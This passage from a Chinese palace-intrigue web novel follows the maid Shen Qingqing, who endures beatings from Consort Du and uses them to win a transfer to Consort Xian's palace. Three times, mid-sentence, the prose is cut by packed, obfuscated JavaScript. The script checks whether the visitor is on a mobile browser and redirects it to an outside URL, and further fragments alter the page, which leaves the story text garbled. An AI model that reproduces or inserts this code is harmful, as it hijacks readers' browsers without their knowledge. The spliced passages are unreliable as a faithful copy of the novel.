沈青青恶狠狠咬牙,回答道:“特别顺利!” “你早算计好了是不是,为了给贤妃引出尚宫局底下的阴私。”沈青青肯定道,“即便今天没有我,贤妃也会从别的地方知道这些事。我帮你识字,你为什么要利用我,让我掺和进这种污糟事?” 经此一事,已经绝了沈青青投靠德妃的可能,就算德妃不知道,也终究是隐患,指不定哪天就反应过来了。 说实话,如果这事真是德妃干的,她还挺欣赏德妃的城府的,但前提是,把沈青青自己给摘干净。 小定子语气苍白:“不算利用,这是利好多方。”他后知后觉心虚起来。 沈青青抓住重点,快言问:“说清楚,哪几方?” “之前没有和你说,我已经认了王积贵为干爹——” “等等!”沈青青打断,摸着后脑勺确定自己记忆没出问题,“不是小王公公吗?”而且是收徒。 小定子木着脸:“没错,但中间出了一些事,王积贵就成了我干爹。”显然,干爹这个称呼他还叫的不顺口,透着股违和。 沈青青羡慕感叹:“一步登天啊。” 皇帝身边唯二大公公,直接便进入了权力中心。 小定子阴恻恻问:“你还要不要听?”他早该知道,旁人所鄙夷的卖身投靠认阉人为父,对于沈青青来说,只恨那个人不是自己。 明明她自幼读书,应当对珰竖最为不齿。 偏偏却是这般…… 沈青青双眼清澈:“好,你说。”她不打断就是了。 小定子长吸一口气:“贤妃这件事是我对干爹的投名状,干爹不想贤妃就这么失了圣意,独留德妃独大,便让我为贤妃送上消息。今天是个巧合,恰好贤妃出了景仁宫又在逸趣园停留,我不想错过这次机会,再加上你经常念叨着要偶遇贤妃,便差佩佩引你过去。贤妃身边有干爹的人,就算贤妃什么也不问,那人也会引着你回答思过斋发生的事,顺理成章将此事挑明。” “但事情发展的出乎意料的顺利,干爹的人没动,未曾让贤妃起疑,她只会将此事当作意外。” 乾清宫、景仁宫、思过斋三个地方的人合力促成了今日之事。 沈青青还有疑问:“这事是你干爹的意思,还是皇上的意思?还有,这么干,我们不就得罪了德妃吗?” 小定子早就将此事琢磨透了,脱口而出道:“我不知道,干爹未曾说,但我推测是干爹的意思,皇上可能并未授意。第二个问题,在宫中,你不管投靠哪方,总会得罪一方,那这得罪之人,为什么不能是德妃?我跟干爹谋算德妃,不拉上你,岂不生分?况且,难道不是风险越大收益越大吗?” 沈青青哼哼着垂死挣扎:“我不觉得生分啊,咱们什么关系,需要这些来证明?” 虽然怀里的玉佩证明收益确实很高,但人之本性,她也不想涉险啊。 小定子笑道:“晚了。” 已经是一条船上的人了。 沈青青:“……” “但如果只是你干爹的意思就能插手后宫,你干爹岂不是也很危险,要知道他身边还有一个历经两代皇帝的钱公公,就不怕被抓到把柄?” 虽然话很不好听,但是区区阉党,胆敢算计后妃? 今上也不像是能被阉党把持的人。 小定子:“首先,这件事很小,小到让人察觉不到底下的暗潮涌动,德妃或许也只觉得倒霉,且贤妃反应过来,定然会怀疑到德妃身上,无论德妃有无干系,贤妃都会反扑德妃,德妃更难抽出心力来调查这桩意外。贤妃已经出手将你在逸趣园的事抹平,逸趣园周围经过的宫人很多,若贤妃静待几日再发作,会更让德妃摸不着头脑。至于钱大公公,我只能说,这是多方博弈的结果,有人不想让德妃更进一步。” “德妃太滴水不漏了,这是她的优点,也是致命缺陷。” 沈青青懂了,钱公公抱着相同的心思,如果发现王积贵这边的动作,说不定还会出手遮掩一番。 怕不是小王公公在后宫收徒一事,就是王积贵为今日之事埋下的伏笔。 沈青青不惮以最富有心机的人设来揣测这位王公公。 沈青青沉默,过了一会儿,忍不住好奇开始八卦问:“你干爹是个什么样貌的人,是和钱公公一样魁梧,还是比较干瘦,亦或者是胖乎乎笑面虎的样子?” 小定子居然能认王积贵为干爹,此时不问更待何时? 小定子还以为她要说什么,结果…… “隔墙有耳,议论干爹,不怕他将你灭口?”他有点无奈。 沈青青讪讪:“我也只在你面前说,且他现在最大走狗之一不是你吗?” 小定子会背叛她吗?这必然不会啊。 他们可是一起读过书的交情,只差兄妹相称了。 小定子:“……,有没有比走狗好点的词?” 沈青青想了想:“爪牙?走卒?鹰犬?帮凶?” 最终,沈青青也没能知道这位神秘的王公公的真实面貌,因为小定子拿出了银票来转移她的注意。 小定子道:“我记得你以前很喜欢首饰,这几个月没见你换新,最值钱的几件也不见了,这些先拿去买吧。” 沈青青原本还不好意思,但转念想到,一人得道,鸡犬升天,便开开心心收下了。 她拿出贤妃的大宫女送给她的玉佩,递给小定子查看:“这玉佩怎么用?” 贤妃一个人情,如何用的不让娘娘恼是门学问。 小定子:“在杜宝林身边难免会受伤,你让贤妃帮你调到她的宫里。” 杜宝林发脾气伤人小定子早有耳闻,起初在织云殿时,珊瑚、晚霞、朝露手上胳膊上时不时会带点伤,玳瑁从小伺候杜宝林,知道什么时候出现,怎样安抚杜宝林的脾气,倒无大碍。有一次朝露额头上被烛台尖锐处磕出了血,却又隐忍不发,这才让小定子发现了端倪。 只是彼时干他何事? 他若帮她们揭露彼时如日中天的杜婕妤,他能有好下场,不被被刺吗? 不过在思过斋这三个月,沈青青也算近身伺候,可偏偏却避开了杜宝林每一次发作,小定子既觉得惊奇,也升起了和沈青青合作的意思。 他想着,都是聪明人——沈青青确实也聪明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279963|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小年纪就能参透这么多,只是没想到,私底下这么小孩子脾气。 不过,这反而更让人放心。 沈青青问小定子的去向:“那你呢?” 他听明白她的言下之意:“等后宫大调动的时候我再走,不过你最好赶在这之前。” 沈青青一头雾水,什么叫大调动? 她没再问,反正小定子有分寸。她现在需要考虑的是,怎么受伤,才会显得既凄惨,又不严重。 好在自从佩佩来了后,她近身伺候杜宝林的次数变多,不怕没有机会。 沈青青对完账,就离开了,临走前对小定子说:“你好好休息,有黑眼圈了。”他在宫内斡旋,绝不容易。 她顺手带上了门。 小定子一愣,等门都合上了,这才后知后觉摸上眼窝。 他想起今日干爹最后说的话:“你办完事后,自身的痕迹太明显了。”明明事都是干爹吩咐的,可他云淡风轻的模样,仿佛只是一般交谈一样,看不出丝毫波澜。 他这才明白了干爹的意思,他对这事太紧绷,太疲惫了。 小定子饶有趣味笑了笑,伸展臂膀,去床上睡觉。 - 清晨,杜宝林起身,珊瑚刚要拿着帕子为杜宝林梳洗,沈青青看了一眼她手上的伤痕,贴心道:“珊瑚姐姐,伤口不宜碰水,还是我来吧。” 珊瑚一愣,用另一只手盖到伤口处,还不待反应,就听见杜宝林不耐的声音:“怎么还不进来?” 珊瑚只得松手,沈青青接过帕子,声音四平八稳回道:“主子,奴婢这就来。” 说着,她端着盆进到里屋。 【怎么不是珊瑚?】 这么想着,杜宝林也问了出来:“珊瑚呢?” 沈青青仔细给她擦洗道:“珊瑚姐姐手上有伤,恐污了娘娘的眼。” 杜宝林有一瞬的不自在,不去计较珊瑚没亲自伺候了,只是心中不悦。 【身为奴婢,为主子受伤是本分,再说,又没伤到动不了。】 沈青青当没听见,尽心尽力服侍杜宝林。 杜宝林伤人有个准则,越亲近越随意,比如以前的织云殿大宫女和二等宫女,至于平日很少近身的三等宫女,发作也会寻个由头,多以罚跪为主,不会留下让人遐想的细碎伤口。 因为这样的准则,使得她两年都没翻车。 可怜珊瑚,明明身边只剩她忠心效命,杜宝林还是不约束自己。 她太放心珊瑚了,自是随意。 所以沈青青只需要表现的体贴温顺,尽心尽力,就能取得杜宝林的“随意”。 见沈青青取代了自己的活,珊瑚没有不愿,反而隐隐松了一口气。方嬷嬷在时,主子还知道收敛些,现下,脾气是越来越大了。 晚上珊瑚有时候都睡不着,辗转反侧,她问自己,当初没随朝露一起走,是否后悔过? 她答,悔。 钱财赏赐再多,又岂能抵上伤残之苦。 可她太羡慕玳瑁了,羡慕主子对她的信任,羡慕她独得主子的赏赐,羡慕她的手臂无一伤痕,甚至想过,如果有一天,她也这么游刃有余的侍奉主子。 最后玳瑁被逐出宫,她居然就鬼迷心窍地留了下来,只一心觉得,她就是下一个玳瑁。 只是她选择性忽略了玳瑁最后的处境,主子犯错,奴婢担责。 15. 第 15 章 在珊瑚手伤完全好之前,沈青青由头都不带换的频频近身侍奉杜宝林,但却并未抢了珊瑚在杜宝林身边的位子,这点分寸她还是有的,她并非想和珊瑚争斗起来。 倒是珊瑚的态度颇为耐人寻味,往日最忠心的人,被不动声色减少接触杜宝林,虽然察觉了出来,但那样子却反而像是松了一口气,连杜宝林赏赐的红玉耳环也戴上了,似是恢复了在织云殿当大宫女的风范。 珊瑚提点沈青青道:“主子最爱的便是这白玉瓶,放在这置物架上每日都要赏玩,你需要日日擦拭,千万不要让这玉瓶碎了,或是落了灰尘。” 沈青青抬眼一看,在心中记下,说是。 珊瑚对沈青青尊敬的态度很满意,趁着杜宝林午睡,将些无关紧要偏偏费神的小事交给她。 沈青青来者不拒,默默接受。 直到杜宝林午睡起身,这场教学才停止。 珊瑚自然而然对沈青青使了个眼色,沈青青垂首进去服侍杜宝林,紧接着,珊瑚才进来。 沈青青伸手扶杜宝林坐起来,杜宝林还睡得迷糊,耳侧的发丝凌乱粘在白皙的脸颊上,让她短暂有了美人的天真感,她伸手放在沈青青的手上,下意识一用力。 沈青青茫然道:“主子?” 杜宝林回神,看清这双手的主人,慢了半拍松开,目光落到沈青青现起淡淡红痕的手上:“怎么是你?” 接着她便见到了一旁的珊瑚。 珊瑚上前捧过杜宝林的手,带着哄意道:“奴婢见沈青这丫头还算乖巧,便做主让她服侍主子起身。” 杜宝林下手并不重,刚睡醒力气还没完全恢复,手上柔弱无骨,因此沈青青手上只是红了些。 但是下手有第一次,才会有第二次。 沈青青软和地朝杜宝林羞谨地笑了笑,看着颇为柔软可欺。 杜宝林接受了珊瑚这个说法,心里想着她身边得用的人确实不多,总劳累珊瑚,珊瑚便没精力出去给她办事,七月在即,七夕巧筵留给她的时间不长了。 杜宝林于是仔细端详了沈青青一眼,喃喃道:“竟也是个美人胚子。” 同时手也轻轻掐了上去。 【若是以前,断不会让她长久留在我身边,索性我都这样了,她也图谋不了什么,若我成功复宠,便将她赶走便是。】 沈青青现下只有十三四岁,尚且是个乳臭未干的丫头,并没有给杜宝林带来直观的威胁。 若她人人都要忌惮,首先就得打发走珊瑚。 在宫中,美人是最常见不过了。 且沈青青虽然以前爱打扮,但觉醒记忆后便意识到这个朝代水平的化妆品重金属超标,用久了容易烂脸,就没再使用,即便用,也只会选原材料天然的妆粉。 她年龄在这,尚且稚嫩,不好往老成了打扮,索性就不打扮。 在接触杜宝林之前,她就做好了杜宝林对她的评判,譬如,嫌她之前懒散,现下接近是否怀着不好的目的等等。然而没想到,杜宝林会先注意地是她的样貌,怕是之前,从未正眼瞧过她。 沈青青动作轻快了许多。 那这真是太好了! 下午杜宝林需要把自己关在屋子里练舞,平常辅助她练习肢体软度的是珊瑚,珊瑚自然没将此事相让,把沈青青打发走了,便将屋门关上。 这是属于她们主仆两人的秘密。 沈青青回到屋内,拿出她的小本本,现在上面的计划已经废了,她最好的选择只能是贤妃。 她想到那日贤妃在逸趣园的一举一动,开始分析起贤妃。 从贤妃和她宫里的人打成一片,到萱草身为贤妃的大宫女却保留着活泼友善的性子,再到贤妃察觉不对果断使唤身为思过斋一员的她去试探,后来即便明白处境也没有迁怒宫人,情绪稳定到让人羡慕。 从贤妃说那句不晚开始,沈青青便明白贤妃是有拨乱反正的手段。 且贤妃的相貌,沈青青认为比之杜宝林也是不差的,甚至身上自然而然的柔和更容易博得旁人的好感。 沈青青将代表贤妃的月亮后面画满五颗星,然后拎着小本本去沏茶的地方,做引燃炉火的材料给烧了。 虽然这东西像乱涂乱画,别人看不懂,但还是谨慎为上。 估摸着杜宝林练习的时间,沈青青过了一会儿才开始准备茶水,等到珊瑚将门推开,她才起身去给杜宝林送茶。 杜宝林身上汗涔涔的,端过茶水一饮而尽。 然后眼皮抬都没抬,啜饮着茶意味不明撂下一句:“思过斋人手少,外面传出了什么风声,思过斋内更容易排查出人。” 练舞之事瞒不过近身服侍的人,杜宝林不确定沈青青什么时候会知道她暗中练舞的事,只能多加警告。 思过斋偏僻,少有人来,杜宝林自信她能瞒得很好。 沈青青服身,上道道:“奴婢明白。” 传杜宝林的事于沈青青没任何好处,她犯不着去干。 杜宝林将茶盏放下:“收拾了吧,我要沐浴。”她自然吩咐的是沈青青。 说来惭愧,沈青青还是第一次独自服侍杜宝林沐浴,先前她只会跟在珊瑚身边打下手,但很显然,现在珊瑚认为她有能独立为杜宝林沐浴的能力。 不过,这种亲密的侍奉,杜宝林果真对她随意起来,嫌弃她笨手笨脚,果断拍开她的手,眉头蹙起,斥骂了一声。 沈青青立刻无措起来,轻声安抚着,并不因为杜宝林如此行为就委屈恼怒,反而手脚麻利赶紧沐浴结束。 得到了杜宝林带着亲密意味的心声: 【哼~】 沈青青:“……” 杜宝林是个实打实的骄纵小姐,需要人哄,需要人如珠似玉地对待她,越这么对待她,她脾气就会越大,她有时候也会觉得自己出格——毕竟没有大家闺秀会以给别人造成伤口而感觉痛快,她有钱,便拿赏赐来弥补,然后下一次更加肆无忌惮。 这导致珊瑚的心情很摇摆。 练舞是一件很累的事,所以她无处泄愤的时候就会拿珊瑚出出血,再让珊瑚自己挑赏赐。 珊瑚戴了她的首饰出现,她反而会说一句:“你戴着这个很漂亮。” 这时候多了沈青青这个懵懂的宫女在身边,杜宝林先是观察,发现这人和玳瑁珊瑚一样对她颇为纵容——这才对嘛,毕竟她是主子。 然后便将沈青青纳入了她的范围之内,起先是玩笑般的掐痕,情绪失控时的加重力道。沈青青最开始还轻声喊奴婢疼,迫使杜宝林松手,但杜宝林次数一多,她就只管皱眉隐忍了。 沈青青越是这样的态度,杜宝林就越是觉得沈青青不敢反抗,最开始还带着撒娇般的语气,最后便盯着沈青青痛苦咬唇忍受的表情下手,直到撒了气,才松开簪子,放开沈青青的胳膊。 沈青青低垂着眼,将袖子放下,遮住胳膊上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279964|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的新伤。 这种时候,杜宝林是会特意支开珊瑚的,有珊瑚的前车之鉴,她更喜欢在衣袖遮挡住的胳膊上下手,她看不见,便不会因为伤宫女而感到没脸。 时间进入七月,临近七夕巧筵,杜宝林心里很紧张,下手的次数也开始增多。 沈青青因为伤痕去司药司取过药,最开始的伤痕已经好了,只留下淡淡的疤。 也因此,杜宝林更放心沈青青,因为她没有保留证据,之后新伤加旧伤,伤痕好不了她也没在意。 这本就是计划一环嘛。 要去贤妃宫中,要增加更多筹码,苦肉计是必不可少的。 不然她平白调宫,算是背主,必成不了贤妃的大宫女,得不到贤妃的信任。 沈青青这么说服自己,但晚上上药的时候,还是避免不了被药粉刺激疼的斯哈斯哈。 小定子就在她旁边看着她上药,次次这副沉默的模样,只盯着伤口看,直到沈青青将袖子落下。 十五道,严重到出血留痕的有十五道,其他细碎口子更是不计其数。 他该趁着这次七夕巧筵将杜宝林算计死,这样沈青青也能走,而非如此……可他刚得王积贵调|教,哪有手段去算计一个妃嫔,即便杜宝林得了厌弃。 沈青青将药瓶收拾好,问他:“你这几天怎么天天往我这儿跑?幸而宝林心思全在明日的七夕巧筵上,不然就该察觉到不对了。” 小定子:“佩佩是我的人,杜宝林无人给她通风报信。” 他看向沈青青:“沈青,给我时间,我一定会让她死。” 两人都默契没说这个她是谁,沈青青看了他一眼,见他眼底酝酿着什么,脑中一片空白,她想劝一劝,却不知从何劝起,毕竟,她真的那么好心不怨杜宝林吗? 她转移话题:“我什么时候去找贤妃身边的萱草?我总觉得明日七夕巧筵杜宝林不会那么安稳复宠。” 虽然距离那两个宫女死掉已经数月了,皇上可能不记得,但后宫嫔妃记得,甚至更加清楚,杜宝林献舞,众人稍一提及,转瞬就能将杜宝林打入更坏的境地。 弄死宫女,是杜宝林身上永远的污点,当初事情发生的太快,皇上根本没给她机会将事情推脱到玳瑁这样的大宫女身上。 小定子道:“明日。明日七夕设宴,宫人流动是平时的几倍,杜宝林亦要抓住这次机会,你身上有伤,她必不会带你,届时你去景仁宫找贤妃旁人也不会注意到你……扮可怜,会吗?” 其实方才那伤一露出来,不用扮,都显得凄惨,是个实打实的小可怜。 加上杜宝林有前科,很容易让人联想到。 沈青青看着他,小嘴一抿,眼泪就凝聚在了眼眶,豆大豆大的泪水无声往下落,眼前似乎是她最信任的人,信任到压抑许久的委屈顷刻涌了出来。 小定子的心狠狠一揪,呼吸不畅,他已经不知道自己在说什么了:“很疼吧,对不起,对不起……” 沈青青擦了擦眼泪,眼睛亮晶晶看向他。 她挺会演戏的,尤其是杜宝林锻炼了她,每每伤她都爱盯着她看,简直是个变态。 “不疼,就是伤口很痒,总忍不住去挠。”当初叮嘱冬儿不让她挠伤口,落到自己身上,才知道什么叫抓心挠肝。 沈青青似是想到什么有趣的事,笑了笑。 小定子默默将她的样子深深印在脑海中,他绝不会再让她受伤。 16. 第 16 章 七夕当天。 七夕巧筵是当朝宫廷每隔几年就会举办一次的宴会,今年的七夕巧筵是太后去年离宫前便敲定下来,交给贤妃和德妃一起办理的宴席,为的就是一扫先帝驾崩尚留下的肃穆气息。 更深层的意义则是为立后做准备。 今上登基后先是忙碌先帝丧仪,后来前朝后宫一切事宜步入正轨,朝堂重提立后一事,纪宸以为先帝守孝未满三年为由推延了此事。 虽然他身为皇帝可以以天代月,不用死守着孝道规矩。 这次七夕离先帝驾崩已经过去两年多,虽未满三年,但正巧卡在二十七个月外,本朝守国丧有用二十五个月或二十七个月代三年的先例。 且贤妃和德妃商议过,此次七夕巧筵并不大办,只后宫嫔妃聚在一起热闹热闹,欣赏歌舞戏曲。 思过斋内。 杜宝林对今天很是重视,除了抱着献舞复宠的目的,这还是她被降位后第一次在众嫔妃面前出现,她恨死了高美人让她跪在御花园的宫道上,让满宫都看了笑话,所以这次她绝不能失了脸面,被人奚落。 她要让那些嫔妃知道,即便她失了宠,陛下待她还是不一样的。 不然,她怎么会一得宠就是两年?颇有先皇时昭贵妃受宠的风范。 昭贵妃便是先皇宠妃,自愿与先皇殉葬的那位,据看书阁的老太监所说,昭贵妃貌美如玉,放在整个先帝后宫都无人能及,昭贵妃选秀入宫,自此恩宠便从未间断,顺顺当当升到了贵妃之位,就连当时的皇后,现在的太后面对她都会避其锋芒。 若非昭贵妃只留下一女,今上又为嫡长子,恐怕今上不会在七岁那年便被封为太子。 今上七岁时,算一算,正是昭贵妃产女的时候,昭贵妃得女,册封太子的圣旨才到皇上手中。 谁也不知道先皇当时在想什么。 先皇壮年驾崩,今上十七岁登基,昭贵妃留下的继承了她几分美貌的永福长公主现下不过十二岁。 先皇子嗣不丰,除了身为太子的大皇子纪宸,还有二、三、四皇子,因年龄不大,也都尚未婚配封王,仍住在京城皇子府内。 永福长公主行五,和小她两岁的六公主一同住在皇宫。 杜宝林奢望不起后位,自然拿昭贵妃当目标,心中常念着,做宠妃当如昭贵妃。 就是先皇在位的时间不长,不然杜宝林觉得昭贵妃生前连皇贵妃都封得,而非死后被皇上追封为皇贵妃。这可能是昭贵妃的遗憾,却是杜宝林的幸运。 若非皇上登基早,不然她就与皇上错过了。她心中泛起甜蜜,幸好,幸好。 因为由昭贵妃想到先帝并不算长寿,杜宝林实打实担心皇上身体,便有了日日往乾清宫送汤水的习惯。 后来因为高美人也送,加上平日高美人恩宠只比她差点,杜宝林便对上了高美人。 当然,若没有此事,杜宝林照样看她不顺眼。 从这方面来说,她相当从心。 杜宝林上午便开始忙碌,下午准备好一切才带着珊瑚从思过斋离开,七月的天,杜宝林披了件薄披风,将红色舞衣拢进盖到脚背的披风下。 沈青青目送杜宝林低调离开,等了片刻,便往贤妃的景仁宫走去。 一路上,她联想了许多,等到景仁宫门口,本想找景仁宫的小太监给萱草带个话,但景仁宫此时正忙的脚不沾地,尚仪局的司乐司、司宾司、司赞司正六品七品的大人在景仁宫进进出出,与贤妃及贤妃身边的人商议着宴席的事宜,确保不让任何突发状况扰乱了七夕巧筵的正常举办。 这时,像是不经意在景仁宫门口经过的一位二等宫女发现了沈青青,她对那日在逸趣园的事记忆深刻,便径直走来。 “沈青姑娘,你是来找娘娘的?可需我代为通传?” 沈青青知道王积贵在贤妃身边有人,小定子亦能遣用,但她不确定是否是眼前这位。 于是散离的目光像被投入石子的湖水,一惊,唇畔带着抹散不去的苦笑,她只是看了这位宫女一眼,还未将样貌记下便低头取出当日的玉佩,双手拘束地递过去:“这位姐姐,我想见一下萱草姐姐,不知可否……” “……若是萱草姐姐忙碌,我可以等,或是找个不起眼的地方等。” 走是不可能走的,这种事需要一次就成,毕竟一个擅长隐忍主子伤人的宫女,自揭伤疤的勇气短期内不会有两次。 这位二等宫女将玉佩推回沈青青手中:“我叫芰荷,萱草手中事务少,你直接随我进来便是。” 沈青青露出淡淡笑容,眸中似乎也亮了几分,小声道:“谢谢芰荷姐姐。” 芰荷笑了笑,将沈青青带到萱草那里。 今日萱草果然事务少,这种时候没在贤妃身边盯着帮忙,反而在景仁宫内打转。 芰荷将人带到,笑着行了礼,便离开了,仿佛是随手而为的小事。 萱草被贤妃派出来盯着景仁宫内外,实际她也清楚她在内只会给贤妃添乱,帮不上忙,能成贤妃的大宫女,不是她多能干,而是她讨喜,贤妃也喜欢她这样,时常纵着。 她有自知之明也忠心,不觉得娘娘这是看轻了她而心存不满,反而对贤妃交给她的这些小事也恪尽职守,不肯离去躲懒。 萱草见到人,还不待沈青青反应,便摸上了她毛茸茸的脑袋。 “怎么了?” 沈青青低头咬唇,顿了一顿,低沉着音:“原不该拿小事来麻烦萱草姐姐,可沈青真的不知道该怎么办了。” 萱草嘶了一声,抬起沈青青的下巴,便见小姑娘两眼噙满了泪水,在眼眶中不停打转,欲落不落,她的嘴唇被轻易咬出了血,可见她频频咬唇的次数,心中的踌躇。 萱草将小人的嘴巴掰开,帕子刚抿上沈青青的嘴唇,微凉的泪水就已滚落到她的手上。 她拿着手帕,一时之间不知道该擦眼泪还是嘴唇。 最终萱草搂住沈青青:“去我屋里说,无论发生什么,都有娘娘和我给你做主。” 若事情容易摆平,她出面即可,若需要娘娘,想来娘娘就算不看在玉佩的面上也是不会拒绝的。 即便刚见面,但萱草就是知道沈青只会是受欺负的那个,不然怎么会委屈成这样? 沈青青微微睁大眼睛,似是想将眼泪停下,可出闸了的泪水哪能那么听话。 此刻她情绪上头的轻抖起来。 萱草本就心善,见此更是怜意大涨,虽还未知原委,就已经对导致这一切的人带上了厌恶的情绪。 进屋后,沈青青便边撸起袖子边轻声道:“珊瑚姐姐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279965|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手受伤,便由我接替近身服侍主子,主子有时候脾气不好,拧或掐,我原以为只是寻常发脾气,但渐渐地,主子便变本加厉起来,拿着锋利的簪子不止一次将我胳膊上的皮肉扎透,我好疼,但主子的眼神好可怕,我不敢拒绝,更不敢不伸手,只能咬着嘴巴忍,想着忍过了就好,更不敢来找姐姐道主子的不是。” 她的声音很轻,像羽毛一样轻飘飘落不到实处,双眼很木,只有不停涌出的泪水诉说着麻木下的悲怆。 萱草已经愕然睁大了眼睛,她看着一层覆一层的伤疤,新伤尚且血淋淋,从厚厚的药粉中渗了出来,简直不忍再看第二眼。 怪不得她身上萦绕着一股散不去的清苦味,原是伤药味道。 萱草伸手托起沈青青的两只手臂,一错不错地盯着,眼底翻涌着滚滚怒气。 杜宝林当真可恶!她把宫人当什么了? 沈青青还在缓缓诉说:“但眼看着主子今日宴会就要重得圣宠,我怕这个时候不说,以后就没人能救得了我了,我也不想受伤,不想一直在主子手里受折磨。就算主子日后再得宠,再得皇上看重,我都不想跟在宝林身边了,不后悔今日来找姐姐。” “我只想调出思过斋,调离杜宝林身边,即便再去做个洒扫宫女。所以才斗胆拿着玉佩来找萱草姐姐。” 沈青青鼓足勇气看向萱草,眼中是幼兽般小心翼翼的试探,似乎萱草拒绝,她也只会灰败了最后一丝希望,不带一丝怨气。 更不提当日萱草替贤妃赠玉佩时说的话。 萱草此时已经共情到流着泪生气,沈青那句重得圣宠虽然咬字极轻,但萱草还是听出沈青青认为杜宝林要得势了。 但偏偏面对要得势的杜宝林,沈青没有凑上去,反而畏惧地想逃离。 若非害怕得势后的杜宝林更嚣张更残忍,沈青又哪会来找她? 怕是刚生出勇气,就又缩了回去。 愈是这样想着,萱草便愈是欣赏沈青此刻的勇气。 满宫的主子虽然不是人人都像贤妃娘娘这样对宫人好,可也少有像杜宝林这样以伤人为乐的。 皇上怎么就长宠着这样一个杜宝林呢? 萱草真为自家娘娘不值。 且连杜宝林身边的珊瑚都受伤,受害的绝不止沈青一人,其他人不说自是畏惧杜宝林的势力,或是杜宝林降位后手段已经较之前更狠,否则沈青怎会伤成这样?这伤口又如何做得了假?药都不起作用了! 她既能取两个宫女的性命,又岂会在意一个宫女疼不疼? 萱草在心中自动补上了事情原委。 她现在看沈青,怎么看怎么小可怜。都求助到景仁宫了,却只是说她疼,而非控告杜宝林。 多么心善的一个人,被杜宝林伤残到这个样子,都少了那日在逸趣园见到的灵动神采。 “放心,有姐姐在。”萱草垂泪道。 沈青闻言没有惊喜,听出她的哭腔,反而匆忙放下袖子,拿干净的手帕小心翼翼擦了擦萱草垂落的眼泪。 “姐姐莫哭,沈青不疼。” 萱草避开沈青受伤的胳膊,将她揽进怀里,本意想安抚她,但没想到却是沈青自然而然抚上萱草的脊背,一下一下给她顺气,怕她被气坏了。 萱草不知怎得又想哭了。 17. 第 17 章 萱草擦了擦眼泪:“我的好妹妹,你现在这就回思过斋收拾东西,等会儿我告诉了娘娘便带司薄司的人将你调到景仁宫,娘娘眼皮子底下,定不叫人欺负了你去。” 恰好娘娘身边有一个空悬已久的二等宫女名额,相信她去跟娘娘说,娘娘一定不会拒绝的。 杜宝林算什么东西?得势时都得在二妃面前毕恭毕敬做小伏低,现下她有错在先,娘娘怎么发作都是应该的,何况是将受难宫女先一步调走这种小事。 沈青青将玉佩往萱草眼前递了递:“玉佩,还给娘娘。” 她现下还带着哭腔,哽咽不能自已。 既然萱草会帮她,那这玉佩便算用过了,放在她这儿,难免会有继续携恩的意思,不如现在送还,好歹证明自己是个心思澄澈的人。 萱草想了想,还是接过了玉佩,她能做主调动宫女和将事情报给娘娘,但有些事,譬如这玉佩,还要看娘娘的意思决断。 沈青青破涕为笑,笑容中带着真挚与一抹温柔,希冀地看向萱草:“萱草姐姐,那我就先回思过斋了。” 杜宝林晚宴过后才会回来,现在宴席还没开始,她走得早纯粹是为献舞做准备。 若萱草处理的够快,听她的意思,她应该会在杜宝林回来之前就把她调到景仁宫,不会与杜宝林正面对上。 不然,杜宝林生起气,性子就会变得极其诡谲,只要遇上,她是主子,沈青青是宫女,吃亏的只有当奴婢的。 想来萱草也是考虑到了这一点,才如此安排。 萱草起身将沈青青带起,伸手把她的衣服整理好,碎发抿在额头一侧,看着她红彤彤的眼睛承诺道:“放心,姐姐一定将此事处理好,给你一个交代。” 纵然她是宫女无法把杜宝林怎么样,但添油加醋将此事报给娘娘她还是能干得的。 沈青青点点头,与萱草分离。 在沈青青看不见的地方,萱草深吸一口气,带着不忿去找贤妃娘娘。 为免吓到沈青,她方才完全是收敛了情绪。 就像娘娘从不把坏情绪带给她们宫女一样,这么一想,萱草对娘娘更敬仰了,且因着沈青全然信赖的态度,她竟感觉豪情万丈心里暖融融的,滋味相当妙不可言。 这边沈青青顺着小路往思过斋走,这条宫道平常人很少,今日也没增加多少,因为从这去嫔妃宫中和皇帝居住的乾清宫都算条远路。 她则是为了防止撞上哪位贵人特意绕远了。 毕竟刚办妥调宫的事,她不想中途横生枝节,也一路低着头走,只除了太高兴以至于眼中抑制不住笑意,走路带风。 忽然,沈青青的眼风扫到拐角处那顶明黄的华丽銮舆,几个御前的小太监抬着它往另一个方向走,因为行进的太快,她行礼避让后,好奇往上瞥了一眼,才发现銮舆上空空并未坐人。 也是,只有几名大力太监,御前的两位大太监都不在,这个时候,只能是去接人。 沈青青想了想,那个方向似乎是去湖亭的,皇上没在乾清宫,反而在湖亭? - 此时湖亭,午后的阳光落到湖面上形成斑斓光膜,一把鱼食从立在亭子栏杆边的皇帝手中扔出,顿时,湖水沸腾起来,成人手臂大小的锦鲤张圆了嘴争相进食。 